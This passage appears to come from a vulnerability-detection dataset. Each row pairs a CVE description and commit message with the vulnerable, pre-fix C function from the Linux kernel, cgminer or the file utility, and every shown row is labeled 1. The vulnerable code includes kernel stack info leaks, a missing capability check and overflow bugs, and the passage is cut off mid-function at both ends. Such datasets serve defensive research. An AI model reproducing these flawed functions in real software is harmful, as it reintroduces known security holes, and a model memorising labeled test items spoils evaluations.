] | CVE-2013-3232 | The nr_recvmsg function in net/netrom/af_netrom.c in the Linux kernel before 3.9-rc7 does not initialize a certain data structure, which allows local users to obtain sensitive information from kernel stack memory via a crafted recvmsg or recvfrom system call. | https://nvd.nist.gov/vuln/detail/CVE-2013-3232 |
4,230 | linux | e3211c120a85b792978bcb4be7b2886df18d27f0 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/e3211c120a85b792978bcb4be7b2886df18d27f0 | userns: Check uid_map's opener's fsuid, not the current fsuid
Signed-off-by: Andy Lutomirski <luto@amacapital.net> | 1 | static bool new_idmap_permitted(const struct file *file,
struct user_namespace *ns, int cap_setid,
struct uid_gid_map *new_map)
{
/* Allow mapping to your own filesystem ids */
if ((new_map->nr_extents == 1) && (new_map->extent[0].count == 1)) {
u32 id = new_map->extent[0].lower_first;
if (cap_setid == CAP_SETUID) {
kuid_t uid = make_kuid(ns->parent, id);
if (uid_eq(uid, current_fsuid()))
return true;
}
else if (cap_setid == CAP_SETGID) {
kgid_t gid = make_kgid(ns->parent, id);
if (gid_eq(gid, current_fsgid()))
return true;
}
}
/* Allow anyone to set a mapping that doesn't require privilege */
if (!cap_valid(cap_setid))
return true;
/* Allow the specified ids if we have the appropriate capability
* (CAP_SETUID or CAP_SETGID) over the parent user namespace.
* And the opener of the id file also had the approprpiate capability.
*/
if (ns_capable(ns->parent, cap_setid) &&
file_ns_capable(file, ns->parent, cap_setid))
return true;
return false;
}
| 42,581,331,517,218,380,000,000,000,000,000,000,000 | user_namespace.c | 170,014,386,278,445,950,000,000,000,000,000,000,000 | [
"CWE-264"
] | CVE-2013-1959 | kernel/user_namespace.c in the Linux kernel before 3.8.9 does not have appropriate capability requirements for the uid_map and gid_map files, which allows local users to gain privileges by opening a file within an unprivileged process and then modifying the file within a privileged process. | https://nvd.nist.gov/vuln/detail/CVE-2013-1959 |
4,231 | linux | 3c0c5cfdcd4d69ffc4b9c0907cec99039f30a50a | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/3c0c5cfdcd4d69ffc4b9c0907cec99039f30a50a | atm: fix info leak via getsockname()
The ATM code fails to initialize the two padding bytes of struct
sockaddr_atmpvc inserted for alignment. Add an explicit memset(0)
before filling the structure to avoid the info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static int pvc_getname(struct socket *sock, struct sockaddr *sockaddr,
int *sockaddr_len, int peer)
{
struct sockaddr_atmpvc *addr;
struct atm_vcc *vcc = ATM_SD(sock);
if (!vcc->dev || !test_bit(ATM_VF_ADDR, &vcc->flags))
return -ENOTCONN;
*sockaddr_len = sizeof(struct sockaddr_atmpvc);
addr = (struct sockaddr_atmpvc *)sockaddr;
addr->sap_family = AF_ATMPVC;
addr->sap_addr.itf = vcc->dev->number;
addr->sap_addr.vpi = vcc->vpi;
addr->sap_addr.vci = vcc->vci;
return 0;
}
| 86,538,267,407,615,000,000,000,000,000,000,000,000 | pvc.c | 132,442,317,636,064,100,000,000,000,000,000,000,000 | [
"CWE-200"
] | CVE-2012-6546 | The ATM implementation in the Linux kernel before 3.6 does not initialize certain structures, which allows local users to obtain sensitive information from kernel stack memory via a crafted application. | https://nvd.nist.gov/vuln/detail/CVE-2012-6546 |
4,232 | linux | 9ad2de43f1aee7e7274a4e0d41465489299e344b | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/9ad2de43f1aee7e7274a4e0d41465489299e344b | Bluetooth: RFCOMM - Fix info leak in getsockopt(BT_SECURITY)
The RFCOMM code fails to initialize the key_size member of struct
bt_security before copying it to userland -- that for leaking one
byte kernel stack. Initialize key_size with 0 to avoid the info
leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Marcel Holtmann <marcel@holtmann.org>
Cc: Gustavo Padovan <gustavo@padovan.org>
Cc: Johan Hedberg <johan.hedberg@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static int rfcomm_sock_getsockopt(struct socket *sock, int level, int optname, char __user *optval, int __user *optlen)
{
struct sock *sk = sock->sk;
struct bt_security sec;
int len, err = 0;
BT_DBG("sk %p", sk);
if (level == SOL_RFCOMM)
return rfcomm_sock_getsockopt_old(sock, optname, optval, optlen);
if (level != SOL_BLUETOOTH)
return -ENOPROTOOPT;
if (get_user(len, optlen))
return -EFAULT;
lock_sock(sk);
switch (optname) {
case BT_SECURITY:
if (sk->sk_type != SOCK_STREAM) {
err = -EINVAL;
break;
}
sec.level = rfcomm_pi(sk)->sec_level;
len = min_t(unsigned int, len, sizeof(sec));
if (copy_to_user(optval, (char *) &sec, len))
err = -EFAULT;
break;
case BT_DEFER_SETUP:
if (sk->sk_state != BT_BOUND && sk->sk_state != BT_LISTEN) {
err = -EINVAL;
break;
}
if (put_user(test_bit(BT_SK_DEFER_SETUP, &bt_sk(sk)->flags),
(u32 __user *) optval))
err = -EFAULT;
break;
default:
err = -ENOPROTOOPT;
break;
}
release_sock(sk);
return err;
}
| 287,987,662,761,858,430,000,000,000,000,000,000,000 | sock.c | 154,602,950,500,930,880,000,000,000,000,000,000,000 | [
"CWE-200"
] | CVE-2012-6545 | The Bluetooth RFCOMM implementation in the Linux kernel before 3.6 does not properly initialize certain structures, which allows local users to obtain sensitive information from kernel memory via a crafted application. | https://nvd.nist.gov/vuln/detail/CVE-2012-6545 |
4,233 | linux | 792039c73cf176c8e39a6e8beef2c94ff46522ed | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/792039c73cf176c8e39a6e8beef2c94ff46522ed | Bluetooth: L2CAP - Fix info leak via getsockname()
The L2CAP code fails to initialize the l2_bdaddr_type member of struct
sockaddr_l2 and the padding byte added for alignment. It that for leaks
two bytes kernel stack via the getsockname() syscall. Add an explicit
memset(0) before filling the structure to avoid the info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Marcel Holtmann <marcel@holtmann.org>
Cc: Gustavo Padovan <gustavo@padovan.org>
Cc: Johan Hedberg <johan.hedberg@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static int l2cap_sock_getname(struct socket *sock, struct sockaddr *addr, int *len, int peer)
{
struct sockaddr_l2 *la = (struct sockaddr_l2 *) addr;
struct sock *sk = sock->sk;
struct l2cap_chan *chan = l2cap_pi(sk)->chan;
BT_DBG("sock %p, sk %p", sock, sk);
addr->sa_family = AF_BLUETOOTH;
*len = sizeof(struct sockaddr_l2);
if (peer) {
la->l2_psm = chan->psm;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->dst);
la->l2_cid = cpu_to_le16(chan->dcid);
} else {
la->l2_psm = chan->sport;
bacpy(&la->l2_bdaddr, &bt_sk(sk)->src);
la->l2_cid = cpu_to_le16(chan->scid);
}
return 0;
}
| 34,986,358,148,467,107,000,000,000,000,000,000,000 | l2cap_sock.c | 15,566,378,726,684,005,000,000,000,000,000,000,000 | [
"CWE-200"
] | CVE-2012-6544 | The Bluetooth protocol stack in the Linux kernel before 3.6 does not properly initialize certain structures, which allows local users to obtain sensitive information from kernel stack memory via a crafted application that targets the (1) L2CAP or (2) HCI implementation. | https://nvd.nist.gov/vuln/detail/CVE-2012-6544 |
4,234 | linux | 3f68ba07b1da811bf383b4b701b129bfcb2e4988 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/3f68ba07b1da811bf383b4b701b129bfcb2e4988 | Bluetooth: HCI - Fix info leak via getsockname()
The HCI code fails to initialize the hci_channel member of struct
sockaddr_hci and that for leaks two bytes kernel stack via the
getsockname() syscall. Initialize hci_channel with 0 to avoid the
info leak.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Marcel Holtmann <marcel@holtmann.org>
Cc: Gustavo Padovan <gustavo@padovan.org>
Cc: Johan Hedberg <johan.hedberg@gmail.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static int hci_sock_getname(struct socket *sock, struct sockaddr *addr,
int *addr_len, int peer)
{
struct sockaddr_hci *haddr = (struct sockaddr_hci *) addr;
struct sock *sk = sock->sk;
struct hci_dev *hdev = hci_pi(sk)->hdev;
BT_DBG("sock %p sk %p", sock, sk);
if (!hdev)
return -EBADFD;
lock_sock(sk);
*addr_len = sizeof(*haddr);
haddr->hci_family = AF_BLUETOOTH;
haddr->hci_dev = hdev->id;
release_sock(sk);
return 0;
}
| 40,232,294,479,022,940,000,000,000,000,000,000,000 | hci_sock.c | 182,751,817,217,473,300,000,000,000,000,000,000,000 | [
"CWE-200"
] | CVE-2012-6544 | The Bluetooth protocol stack in the Linux kernel before 3.6 does not properly initialize certain structures, which allows local users to obtain sensitive information from kernel stack memory via a crafted application that targets the (1) L2CAP or (2) HCI implementation. | https://nvd.nist.gov/vuln/detail/CVE-2012-6544 |
4,235 | linux | 1f86840f897717f86d523a13e99a447e6a5d2fa5 | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/1f86840f897717f86d523a13e99a447e6a5d2fa5 | xfrm_user: fix info leak in copy_to_user_tmpl()
The memory used for the template copy is a local stack variable. As
struct xfrm_user_tmpl contains multiple holes added by the compiler for
alignment, not initializing the memory will lead to leaking stack bytes
to userland. Add an explicit memset(0) to avoid the info leak.
Initial version of the patch by Brad Spengler.
Cc: Brad Spengler <spender@grsecurity.net>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Acked-by: Steffen Klassert <steffen.klassert@secunet.com>
Signed-off-by: David S. Miller <davem@davemloft.net> | 1 | static int copy_to_user_tmpl(struct xfrm_policy *xp, struct sk_buff *skb)
{
struct xfrm_user_tmpl vec[XFRM_MAX_DEPTH];
int i;
if (xp->xfrm_nr == 0)
return 0;
for (i = 0; i < xp->xfrm_nr; i++) {
struct xfrm_user_tmpl *up = &vec[i];
struct xfrm_tmpl *kp = &xp->xfrm_vec[i];
memcpy(&up->id, &kp->id, sizeof(up->id));
up->family = kp->encap_family;
memcpy(&up->saddr, &kp->saddr, sizeof(up->saddr));
up->reqid = kp->reqid;
up->mode = kp->mode;
up->share = kp->share;
up->optional = kp->optional;
up->aalgos = kp->aalgos;
up->ealgos = kp->ealgos;
up->calgos = kp->calgos;
}
return nla_put(skb, XFRMA_TMPL,
sizeof(struct xfrm_user_tmpl) * xp->xfrm_nr, vec);
}
| 76,479,207,690,283,055,000,000,000,000,000,000,000 | xfrm_user.c | 66,804,102,214,937,230,000,000,000,000,000,000,000 | [
"CWE-200"
] | CVE-2012-6537 | net/xfrm/xfrm_user.c in the Linux kernel before 3.6 does not initialize certain structures, which allows local users to obtain sensitive information from kernel memory by leveraging the CAP_NET_ADMIN capability. | https://nvd.nist.gov/vuln/detail/CVE-2012-6537 |
4,238 | linux | 883a1d49f0d77d30012f114b2e19fc141beb3e8e | https://github.com/torvalds/linux | https://github.com/torvalds/linux/commit/883a1d49f0d77d30012f114b2e19fc141beb3e8e | ALSA: control: Make sure that id->index does not overflow
The ALSA control code expects that the range of assigned indices to a control is
continuous and does not overflow. Currently there are no checks to enforce this.
If a control with a overflowing index range is created that control becomes
effectively inaccessible and unremovable since snd_ctl_find_id() will not be
able to find it. This patch adds a check that makes sure that controls with a
overflowing index range can not be created.
Signed-off-by: Lars-Peter Clausen <lars@metafoo.de>
Acked-by: Jaroslav Kysela <perex@perex.cz>
Cc: <stable@vger.kernel.org>
Signed-off-by: Takashi Iwai <tiwai@suse.de> | 1 | int snd_ctl_add(struct snd_card *card, struct snd_kcontrol *kcontrol)
{
struct snd_ctl_elem_id id;
unsigned int idx;
unsigned int count;
int err = -EINVAL;
if (! kcontrol)
return err;
if (snd_BUG_ON(!card || !kcontrol->info))
goto error;
id = kcontrol->id;
down_write(&card->controls_rwsem);
if (snd_ctl_find_id(card, &id)) {
up_write(&card->controls_rwsem);
dev_err(card->dev, "control %i:%i:%i:%s:%i is already present\n",
id.iface,
id.device,
id.subdevice,
id.name,
id.index);
err = -EBUSY;
goto error;
}
if (snd_ctl_find_hole(card, kcontrol->count) < 0) {
up_write(&card->controls_rwsem);
err = -ENOMEM;
goto error;
}
list_add_tail(&kcontrol->list, &card->controls);
card->controls_count += kcontrol->count;
kcontrol->id.numid = card->last_numid + 1;
card->last_numid += kcontrol->count;
count = kcontrol->count;
up_write(&card->controls_rwsem);
for (idx = 0; idx < count; idx++, id.index++, id.numid++)
snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_ADD, &id);
return 0;
error:
snd_ctl_free_one(kcontrol);
return err;
}
| 304,470,449,259,529,630,000,000,000,000,000,000,000 | control.c | 179,532,723,377,993,540,000,000,000,000,000,000,000 | [
"CWE-189"
] | CVE-2014-4656 | Multiple integer overflows in sound/core/control.c in the ALSA control implementation in the Linux kernel before 3.15.2 allow local users to cause a denial of service by leveraging /dev/snd/controlCX access, related to (1) index values in the snd_ctl_add function and (2) numid values in the snd_ctl_remove_numid_conflict function. | https://nvd.nist.gov/vuln/detail/CVE-2014-4656 |
4,239 | cgminer | bac5831b355f916e0696b7bbcccfc51c057b729a | https://github.com/ckolivas/cgminer | https://github.com/sgminer-dev/sgminer/commit/bac5831b355f916e0696b7bbcccfc51c057b729a | None | 1 | bool initiate_stratum(struct pool *pool)
{
bool ret = false, recvd = false, noresume = false, sockd = false;
char s[RBUFSIZE], *sret = NULL, *nonce1, *sessionid;
json_t *val = NULL, *res_val, *err_val;
json_error_t err;
int n2size;
resend:
if (!setup_stratum_socket(pool)) {
/* FIXME: change to LOG_DEBUG when issue #88 resolved */
applog(LOG_INFO, "setup_stratum_socket() on %s failed", get_pool_name(pool));
sockd = false;
goto out;
}
sockd = true;
if (recvd) {
/* Get rid of any crap lying around if we're resending */
clear_sock(pool);
sprintf(s, "{\"id\": %d, \"method\": \"mining.subscribe\", \"params\": []}", swork_id++);
} else {
if (pool->sessionid)
sprintf(s, "{\"id\": %d, \"method\": \"mining.subscribe\", \"params\": [\""PACKAGE"/"VERSION"\", \"%s\"]}", swork_id++, pool->sessionid);
else
sprintf(s, "{\"id\": %d, \"method\": \"mining.subscribe\", \"params\": [\""PACKAGE"/"VERSION"\"]}", swork_id++);
}
if (__stratum_send(pool, s, strlen(s)) != SEND_OK) {
applog(LOG_DEBUG, "Failed to send s in initiate_stratum");
goto out;
}
if (!socket_full(pool, DEFAULT_SOCKWAIT)) {
applog(LOG_DEBUG, "Timed out waiting for response in initiate_stratum");
goto out;
}
sret = recv_line(pool);
if (!sret)
goto out;
recvd = true;
val = JSON_LOADS(sret, &err);
free(sret);
if (!val) {
applog(LOG_INFO, "JSON decode failed(%d): %s", err.line, err.text);
goto out;
}
res_val = json_object_get(val, "result");
err_val = json_object_get(val, "error");
if (!res_val || json_is_null(res_val) ||
(err_val && !json_is_null(err_val))) {
char *ss;
if (err_val)
ss = json_dumps(err_val, JSON_INDENT(3));
else
ss = strdup("(unknown reason)");
applog(LOG_INFO, "JSON-RPC decode failed: %s", ss);
free(ss);
goto out;
}
sessionid = get_sessionid(res_val);
if (!sessionid)
applog(LOG_DEBUG, "Failed to get sessionid in initiate_stratum");
nonce1 = json_array_string(res_val, 1);
if (!nonce1) {
applog(LOG_INFO, "Failed to get nonce1 in initiate_stratum");
free(sessionid);
goto out;
}
n2size = json_integer_value(json_array_get(res_val, 2));
if (!n2size) {
applog(LOG_INFO, "Failed to get n2size in initiate_stratum");
free(sessionid);
free(nonce1);
goto out;
}
cg_wlock(&pool->data_lock);
pool->sessionid = sessionid;
pool->nonce1 = nonce1;
pool->n1_len = strlen(nonce1) / 2;
free(pool->nonce1bin);
pool->nonce1bin = (unsigned char *)calloc(pool->n1_len, 1);
if (unlikely(!pool->nonce1bin))
quithere(1, "Failed to calloc pool->nonce1bin");
hex2bin(pool->nonce1bin, pool->nonce1, pool->n1_len);
pool->n2size = n2size;
cg_wunlock(&pool->data_lock);
if (sessionid)
applog(LOG_DEBUG, "%s stratum session id: %s", get_pool_name(pool), pool->sessionid);
ret = true;
out:
if (ret) {
if (!pool->stratum_url)
pool->stratum_url = pool->sockaddr_url;
pool->stratum_active = true;
pool->swork.diff = 1;
if (opt_protocol) {
applog(LOG_DEBUG, "%s confirmed mining.subscribe with extranonce1 %s extran2size %d",
get_pool_name(pool), pool->nonce1, pool->n2size);
}
} else {
if (recvd && !noresume) {
/* Reset the sessionid used for stratum resuming in case the pool
* does not support it, or does not know how to respond to the
* presence of the sessionid parameter. */
cg_wlock(&pool->data_lock);
free(pool->sessionid);
free(pool->nonce1);
pool->sessionid = pool->nonce1 = NULL;
cg_wunlock(&pool->data_lock);
applog(LOG_DEBUG, "Failed to resume stratum, trying afresh");
noresume = true;
json_decref(val);
goto resend;
}
applog(LOG_DEBUG, "Initiating stratum failed on %s", get_pool_name(pool));
if (sockd) {
applog(LOG_DEBUG, "Suspending stratum on %s", get_pool_name(pool));
suspend_stratum(pool);
}
}
json_decref(val);
return ret;
}
| 85,722,006,779,524,040,000,000,000,000,000,000,000 | util.c | 294,909,057,015,150,300,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2014-4502 | Multiple heap-based buffer overflows in the parse_notify function in sgminer before 4.2.2, cgminer before 4.3.5, and BFGMiner before 4.1.0 allow remote pool servers to have unspecified impact via a (1) large or (2) negative value in the Extranonc2_size parameter in a mining.subscribe response and a crafted mining.notify request. | https://nvd.nist.gov/vuln/detail/CVE-2014-4502 |
4,249 | php-src | 0641e56be1af003aa02c7c6b0184466540637233 | https://github.com/php/php-src | https://github.com/file/file/commit/0641e56be1af003aa02c7c6b0184466540637233 | None | 1 | cdf_read_property_info(const cdf_stream_t *sst, const cdf_header_t *h,
uint32_t offs, cdf_property_info_t **info, size_t *count, size_t *maxcount)
{
const cdf_section_header_t *shp;
cdf_section_header_t sh;
const uint8_t *p, *q, *e;
int16_t s16;
int32_t s32;
uint32_t u32;
int64_t s64;
uint64_t u64;
cdf_timestamp_t tp;
size_t i, o, o4, nelements, j;
cdf_property_info_t *inp;
if (offs > UINT32_MAX / 4) {
errno = EFTYPE;
goto out;
}
shp = CAST(const cdf_section_header_t *, (const void *)
((const char *)sst->sst_tab + offs));
if (cdf_check_stream_offset(sst, h, shp, sizeof(*shp), __LINE__) == -1)
goto out;
sh.sh_len = CDF_TOLE4(shp->sh_len);
#define CDF_SHLEN_LIMIT (UINT32_MAX / 8)
if (sh.sh_len > CDF_SHLEN_LIMIT) {
errno = EFTYPE;
goto out;
}
sh.sh_properties = CDF_TOLE4(shp->sh_properties);
#define CDF_PROP_LIMIT (UINT32_MAX / (4 * sizeof(*inp)))
if (sh.sh_properties > CDF_PROP_LIMIT)
goto out;
DPRINTF(("section len: %u properties %u\n", sh.sh_len,
sh.sh_properties));
if (*maxcount) {
if (*maxcount > CDF_PROP_LIMIT)
goto out;
*maxcount += sh.sh_properties;
inp = CAST(cdf_property_info_t *,
realloc(*info, *maxcount * sizeof(*inp)));
} else {
*maxcount = sh.sh_properties;
inp = CAST(cdf_property_info_t *,
malloc(*maxcount * sizeof(*inp)));
}
if (inp == NULL)
goto out;
*info = inp;
inp += *count;
*count += sh.sh_properties;
p = CAST(const uint8_t *, (const void *)
((const char *)(const void *)sst->sst_tab +
offs + sizeof(sh)));
e = CAST(const uint8_t *, (const void *)
(((const char *)(const void *)shp) + sh.sh_len));
if (cdf_check_stream_offset(sst, h, e, 0, __LINE__) == -1)
goto out;
for (i = 0; i < sh.sh_properties; i++) {
size_t tail = (i << 1) + 1;
if (cdf_check_stream_offset(sst, h, p, tail * sizeof(uint32_t),
__LINE__) == -1)
goto out;
size_t ofs = CDF_GETUINT32(p, tail);
q = (const uint8_t *)(const void *)
((const char *)(const void *)p + ofs
- 2 * sizeof(uint32_t));
if (q > e) {
DPRINTF(("Ran of the end %p > %p\n", q, e));
goto out;
}
inp[i].pi_id = CDF_GETUINT32(p, i << 1);
inp[i].pi_type = CDF_GETUINT32(q, 0);
DPRINTF(("%" SIZE_T_FORMAT "u) id=%x type=%x offs=0x%tx,0x%x\n",
i, inp[i].pi_id, inp[i].pi_type, q - p, offs));
if (inp[i].pi_type & CDF_VECTOR) {
nelements = CDF_GETUINT32(q, 1);
if (nelements == 0) {
DPRINTF(("CDF_VECTOR with nelements == 0\n"));
goto out;
}
o = 2;
} else {
nelements = 1;
o = 1;
}
o4 = o * sizeof(uint32_t);
if (inp[i].pi_type & (CDF_ARRAY|CDF_BYREF|CDF_RESERVED))
goto unknown;
switch (inp[i].pi_type & CDF_TYPEMASK) {
case CDF_NULL:
case CDF_EMPTY:
break;
case CDF_SIGNED16:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&s16, &q[o4], sizeof(s16));
inp[i].pi_s16 = CDF_TOLE2(s16);
break;
case CDF_SIGNED32:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&s32, &q[o4], sizeof(s32));
inp[i].pi_s32 = CDF_TOLE4((uint32_t)s32);
break;
case CDF_BOOL:
case CDF_UNSIGNED32:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&u32, &q[o4], sizeof(u32));
inp[i].pi_u32 = CDF_TOLE4(u32);
break;
case CDF_SIGNED64:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&s64, &q[o4], sizeof(s64));
inp[i].pi_s64 = CDF_TOLE8((uint64_t)s64);
break;
case CDF_UNSIGNED64:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&u64, &q[o4], sizeof(u64));
inp[i].pi_u64 = CDF_TOLE8((uint64_t)u64);
break;
case CDF_FLOAT:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&u32, &q[o4], sizeof(u32));
u32 = CDF_TOLE4(u32);
memcpy(&inp[i].pi_f, &u32, sizeof(inp[i].pi_f));
break;
case CDF_DOUBLE:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&u64, &q[o4], sizeof(u64));
u64 = CDF_TOLE8((uint64_t)u64);
memcpy(&inp[i].pi_d, &u64, sizeof(inp[i].pi_d));
break;
case CDF_LENGTH32_STRING:
case CDF_LENGTH32_WSTRING:
if (nelements > 1) {
size_t nelem = inp - *info;
if (*maxcount > CDF_PROP_LIMIT
|| nelements > CDF_PROP_LIMIT)
goto out;
*maxcount += nelements;
inp = CAST(cdf_property_info_t *,
realloc(*info, *maxcount * sizeof(*inp)));
if (inp == NULL)
goto out;
*info = inp;
inp = *info + nelem;
}
DPRINTF(("nelements = %" SIZE_T_FORMAT "u\n",
nelements));
for (j = 0; j < nelements && i < sh.sh_properties;
j++, i++)
{
uint32_t l = CDF_GETUINT32(q, o);
inp[i].pi_str.s_len = l;
inp[i].pi_str.s_buf = (const char *)
(const void *)(&q[o4 + sizeof(l)]);
DPRINTF(("l = %d, r = %" SIZE_T_FORMAT
"u, s = %s\n", l,
CDF_ROUND(l, sizeof(l)),
inp[i].pi_str.s_buf));
if (l & 1)
l++;
o += l >> 1;
if (q + o >= e)
goto out;
o4 = o * sizeof(uint32_t);
}
i--;
break;
case CDF_FILETIME:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
(void)memcpy(&tp, &q[o4], sizeof(tp));
inp[i].pi_tp = CDF_TOLE8((uint64_t)tp);
break;
case CDF_CLIPBOARD:
if (inp[i].pi_type & CDF_VECTOR)
goto unknown;
break;
default:
unknown:
DPRINTF(("Don't know how to deal with %x\n",
inp[i].pi_type));
break;
}
}
return 0;
out:
free(*info);
return -1;
}
| 310,605,146,063,042,650,000,000,000,000,000,000,000 | cdf.c | 320,241,359,265,609,450,000,000,000,000,000,000,000 | [
"CWE-189"
] | CVE-2014-3587 | Integer overflow in the cdf_read_property_info function in cdf.c in file through 5.19, as used in the Fileinfo component in PHP before 5.4.32 and 5.5.x before 5.5.16, allows remote attackers to cause a denial of service (application crash) via a crafted CDF file. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-1571. | https://nvd.nist.gov/vuln/detail/CVE-2014-3587 |
4,250 | file | 74cafd7de9ec99a14f4480927580e501c8f852c3 | https://github.com/file/file | https://github.com/file/file/commit/74cafd7de9ec99a14f4480927580e501c8f852c3 | If requested, limit search length. | 1 | magiccheck(struct magic_set *ms, struct magic *m)
{
uint64_t l = m->value.q;
uint64_t v;
float fl, fv;
double dl, dv;
int matched;
union VALUETYPE *p = &ms->ms_value;
switch (m->type) {
case FILE_BYTE:
v = p->b;
break;
case FILE_SHORT:
case FILE_BESHORT:
case FILE_LESHORT:
v = p->h;
break;
case FILE_LONG:
case FILE_BELONG:
case FILE_LELONG:
case FILE_MELONG:
case FILE_DATE:
case FILE_BEDATE:
case FILE_LEDATE:
case FILE_MEDATE:
case FILE_LDATE:
case FILE_BELDATE:
case FILE_LELDATE:
case FILE_MELDATE:
v = p->l;
break;
case FILE_QUAD:
case FILE_LEQUAD:
case FILE_BEQUAD:
case FILE_QDATE:
case FILE_BEQDATE:
case FILE_LEQDATE:
case FILE_QLDATE:
case FILE_BEQLDATE:
case FILE_LEQLDATE:
case FILE_QWDATE:
case FILE_BEQWDATE:
case FILE_LEQWDATE:
v = p->q;
break;
case FILE_FLOAT:
case FILE_BEFLOAT:
case FILE_LEFLOAT:
fl = m->value.f;
fv = p->f;
switch (m->reln) {
case 'x':
matched = 1;
break;
case '!':
matched = fv != fl;
break;
case '=':
matched = fv == fl;
break;
case '>':
matched = fv > fl;
break;
case '<':
matched = fv < fl;
break;
default:
file_magerror(ms, "cannot happen with float: invalid relation `%c'",
m->reln);
return -1;
}
return matched;
case FILE_DOUBLE:
case FILE_BEDOUBLE:
case FILE_LEDOUBLE:
dl = m->value.d;
dv = p->d;
switch (m->reln) {
case 'x':
matched = 1;
break;
case '!':
matched = dv != dl;
break;
case '=':
matched = dv == dl;
break;
case '>':
matched = dv > dl;
break;
case '<':
matched = dv < dl;
break;
default:
file_magerror(ms, "cannot happen with double: invalid relation `%c'", m->reln);
return -1;
}
return matched;
case FILE_DEFAULT:
case FILE_CLEAR:
l = 0;
v = 0;
break;
case FILE_STRING:
case FILE_PSTRING:
l = 0;
v = file_strncmp(m->value.s, p->s, (size_t)m->vallen, m->str_flags);
break;
case FILE_BESTRING16:
case FILE_LESTRING16:
l = 0;
v = file_strncmp16(m->value.s, p->s, (size_t)m->vallen, m->str_flags);
break;
case FILE_SEARCH: { /* search ms->search.s for the string m->value.s */
size_t slen;
size_t idx;
if (ms->search.s == NULL)
return 0;
slen = MIN(m->vallen, sizeof(m->value.s));
l = 0;
v = 0;
for (idx = 0; m->str_range == 0 || idx < m->str_range; idx++) {
if (slen + idx > ms->search.s_len)
break;
v = file_strncmp(m->value.s, ms->search.s + idx, slen, m->str_flags);
if (v == 0) { /* found match */
ms->search.offset += idx;
break;
}
}
break;
}
case FILE_REGEX: {
int rc;
file_regex_t rx;
if (ms->search.s == NULL)
return 0;
l = 0;
rc = file_regcomp(&rx, m->value.s,
REG_EXTENDED|REG_NEWLINE|
((m->str_flags & STRING_IGNORE_CASE) ? REG_ICASE : 0));
if (rc) {
file_regerror(&rx, rc, ms);
v = (uint64_t)-1;
} else {
regmatch_t pmatch[1];
#ifndef REG_STARTEND
#define REG_STARTEND 0
size_t l = ms->search.s_len - 1;
char c = ms->search.s[l];
((char *)(intptr_t)ms->search.s)[l] = '\0';
#else
pmatch[0].rm_so = 0;
pmatch[0].rm_eo = ms->search.s_len;
#endif
rc = file_regexec(&rx, (const char *)ms->search.s,
1, pmatch, REG_STARTEND);
#if REG_STARTEND == 0
((char *)(intptr_t)ms->search.s)[l] = c;
#endif
switch (rc) {
case 0:
ms->search.s += (int)pmatch[0].rm_so;
ms->search.offset += (size_t)pmatch[0].rm_so;
ms->search.rm_len =
(size_t)(pmatch[0].rm_eo - pmatch[0].rm_so);
v = 0;
break;
case REG_NOMATCH:
v = 1;
break;
default:
file_regerror(&rx, rc, ms);
v = (uint64_t)-1;
break;
}
}
file_regfree(&rx);
if (v == (uint64_t)-1)
return -1;
break;
}
case FILE_INDIRECT:
case FILE_USE:
case FILE_NAME:
return 1;
default:
file_magerror(ms, "invalid type %d in magiccheck()", m->type);
return -1;
}
v = file_signextend(ms, m, v);
switch (m->reln) {
case 'x':
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"u == *any* = 1\n", (unsigned long long)v);
matched = 1;
break;
case '!':
matched = v != l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT "u != %"
INT64_T_FORMAT "u = %d\n", (unsigned long long)v,
(unsigned long long)l, matched);
break;
case '=':
matched = v == l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT "u == %"
INT64_T_FORMAT "u = %d\n", (unsigned long long)v,
(unsigned long long)l, matched);
break;
case '>':
if (m->flag & UNSIGNED) {
matched = v > l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"u > %" INT64_T_FORMAT "u = %d\n",
(unsigned long long)v,
(unsigned long long)l, matched);
}
else {
matched = (int64_t) v > (int64_t) l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"d > %" INT64_T_FORMAT "d = %d\n",
(long long)v, (long long)l, matched);
}
break;
case '<':
if (m->flag & UNSIGNED) {
matched = v < l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"u < %" INT64_T_FORMAT "u = %d\n",
(unsigned long long)v,
(unsigned long long)l, matched);
}
else {
matched = (int64_t) v < (int64_t) l;
if ((ms->flags & MAGIC_DEBUG) != 0)
(void) fprintf(stderr, "%" INT64_T_FORMAT
"d < %" INT64_T_FORMAT "d = %d\n",
